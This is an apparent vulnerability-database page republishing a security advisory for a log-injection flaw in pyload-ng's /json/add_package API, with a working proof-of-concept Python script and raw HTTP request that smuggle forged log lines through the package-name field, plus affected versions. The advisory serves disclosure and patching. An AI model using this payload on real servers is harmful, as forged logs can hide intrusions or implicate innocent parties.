p PatchFirst

GHSA-3wwm-hjv7-23r3

GHSA-3wwm-hjv7-23r3 · Pyload log Injection via API /json/add_package in add_name parameter

Здесь приведены факты из открытых источников об уязвимостях. Перед обновлением ознакомьтесь с исходным сообщением.

### Summary A log injection vulnerability was identified in `pyload` in API `/json/add_package`. This vulnerability allows user with add packages permission to inject arbitrary messages into the logs gathered by `pyload`. ### Details `pyload` will generate a log entry when creating new package using API `/json/add_package`. This entry will be in the form of `Added package 'NAME_OF_PACKAGE' containing 'NUMBER_OF_LINKS' links`. However, when supplied with the name of new package containing a newline, this newline is not properly escaped. Newlines are also the delimiter between log entries. This allows the attacker to inject new log entries into the log file. ### PoC Run `pyload` in the default configuration by running the following command ``` pyload ``` We can now sign in as the pyload user who at least have add packages permissions. In my example, I will use the admin account to demonstrate this vulnerability. Now as an admin user, view the logs at `http://localhost:8000/logs` <img width="1918" height="912" alt="image" src="https://github.com/user-attachments/assets/e6510af6-768b-4ddd-a4f2-3972618e1d37" /> Any attacker who at least have add packages permissions can now make the following request by crafting a python code to inject arbitrary logs. ``` import requests session = requests.session() burp0_url = "http://localhost:8000/json/add_package" burp0_cookies = {"pyload_session_8000": "SESSION-ID-HERE"} burp0_headers = {"sec-ch-ua-platform": "\"Windows\"", "Accept-Language": "en-US,en;q=0.9", "sec-ch-ua": "\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"", "sec-ch-ua-mobile": "?0", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf", "Origin": "http://localhost:8000", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://localhost:8000/collector", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"} burp0_data = "------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_name\"\r\n\r\nFake new package containing 1 links\r\n[2025-07-23 04:32:19] PWNED SeaWind GET PWNED\r\n[2025-07-23 04:32:19] INFO pyload Added package Normal package\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_links\"\r\n\r\n123\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_password\"\r\n\r\n123\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_file\"; filename=\"tt\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_dest\"\r\n\r\n0\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf--\r\n" session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) ``` The Burpsuite HTTP Request for the above code ``` POST /json/add_package HTTP/1.1 Host: localhost:8000 Content-Length: 799 sec-ch-ua-platform: "Windows" Accept-Language: en-US,en;q=0.9 sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf Origin: http://localhost:8000 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8000/collector Accept-Encoding: gzip, deflate, br Cookie: pyload_session_8000=SESSIONS-ID-HERE Connection: keep-alive ------WebKitFormBoundaryqRJM6zIUcE7ttXDf Content-Disposition: form-data; name="add_name" Fake new package containing 1 links [2025-07-23 04:32:19] HACKER SeaWind GET PWNED [2025-07-23 04:32:19] INFO pyload Added package Normal package ------WebKitFormBoundaryqRJM6zIUcE7ttXDf Content-Disposition: form-data; name="add_links" 123 ------WebKitFormBoundaryqRJM6zIUcE7ttXDf Content-Disposition: form-data; name="add_password" 123 ------WebKitFormBoundaryqRJM6zIUcE7ttXDf Content-Disposition: form-data; name="add_file"; filename="tt" Content-Type: application/octet-stream ------WebKitFormBoundaryqRJM6zIUcE7ttXDf Content-Disposition: form-data; name="add_dest" 0 ------WebKitFormBoundaryqRJM6zIUcE7ttXDf-- ``` After executing the following python code and send the request successfully, if we now were to look at the logs again, we see that the entry has successfully been injected. <img width="1920" height="911" alt="image" src="https://github.com/user-attachments/assets/0e77c7ac-e5f6-4227-843a-ef548071bf02" /> ### Impact Forged or otherwise, corrupted log files can be used to cover an attacker’s tracks or even to implicate another party in the commission of a malicious act.

CVSS 4.3 · Средний

Опубликовано
Обновлено

Стек: python

Затронутые продукты и версии

  • pyload-ng PyPI

    Версии
    • 0.5.0a5.dev528
    • 0.5.0a5.dev532
    • 0.5.0a5.dev535
    • 0.5.0a5.dev536
    • 0.5.0a5.dev537
    • 0.5.0a5.dev539
    • 0.5.0a5.dev540
    • 0.5.0a5.dev545
    • 0.5.0a5.dev562
    • 0.5.0a5.dev564
    • 0.5.0a5.dev565
    • 0.5.0a6.dev570
    • 0.5.0a6.dev578
    • 0.5.0a6.dev587
    • 0.5.0a7.dev596
    • 0.5.0a8.dev602
    • 0.5.0a9.dev615
    • 0.5.0a9.dev629
    • 0.5.0a9.dev632
    • 0.5.0a9.dev641
    • 0.5.0a9.dev643
    • 0.5.0a9.dev655
    • 0.5.0a9.dev806
    • 0.5.0b1.dev1
    • 0.5.0b1.dev2
    • 0.5.0b1.dev3
    • 0.5.0b1.dev4
    • 0.5.0b1.dev5
    • 0.5.0b2.dev10
    • 0.5.0b2.dev11
    • 0.5.0b2.dev12
    • 0.5.0b2.dev9
    • 0.5.0b3.dev13
    • 0.5.0b3.dev14
    • 0.5.0b3.dev17
    • 0.5.0b3.dev18
    • 0.5.0b3.dev19
    • 0.5.0b3.dev20
    • 0.5.0b3.dev21
    • 0.5.0b3.dev22
    • 0.5.0b3.dev24
    • 0.5.0b3.dev26
    • 0.5.0b3.dev27
    • 0.5.0b3.dev28
    • 0.5.0b3.dev29
    • 0.5.0b3.dev30
    • 0.5.0b3.dev31
    • 0.5.0b3.dev32
    • 0.5.0b3.dev33
    • 0.5.0b3.dev34
    • 0.5.0b3.dev35
    • 0.5.0b3.dev38
    • 0.5.0b3.dev39
    • 0.5.0b3.dev40
    • 0.5.0b3.dev41
    • 0.5.0b3.dev42
    • 0.5.0b3.dev43
    • 0.5.0b3.dev44
    • 0.5.0b3.dev45
    • 0.5.0b3.dev46
    • 0.5.0b3.dev47
    • 0.5.0b3.dev48
    • 0.5.0b3.dev49
    • 0.5.0b3.dev50
    • 0.5.0b3.dev51
    • 0.5.0b3.dev52
    • 0.5.0b3.dev53
    • 0.5.0b3.dev54
    • 0.5.0b3.dev57
    • 0.5.0b3.dev60
    • 0.5.0b3.dev62
    • 0.5.0b3.dev64
    • 0.5.0b3.dev65
    • 0.5.0b3.dev66
    • 0.5.0b3.dev67
    • 0.5.0b3.dev68
    • 0.5.0b3.dev69
    • 0.5.0b3.dev70
    • 0.5.0b3.dev71
    • 0.5.0b3.dev72
    • 0.5.0b3.dev73
    • 0.5.0b3.dev74
    • 0.5.0b3.dev75
    • 0.5.0b3.dev76
    • 0.5.0b3.dev77
    • 0.5.0b3.dev78
    • 0.5.0b3.dev79
    • 0.5.0b3.dev80
    • 0.5.0b3.dev81
    • 0.5.0b3.dev82
    • 0.5.0b3.dev85
    • 0.5.0b3.dev87
    • 0.5.0b3.dev88
    • 0.5.0b3.dev89
    Затронутые диапазоны версий
    • ECOSYSTEM: ≤ 0.5.0b3.dev89

    Нет опубликованного исправления

Первоисточники

Проверьте свой сервер →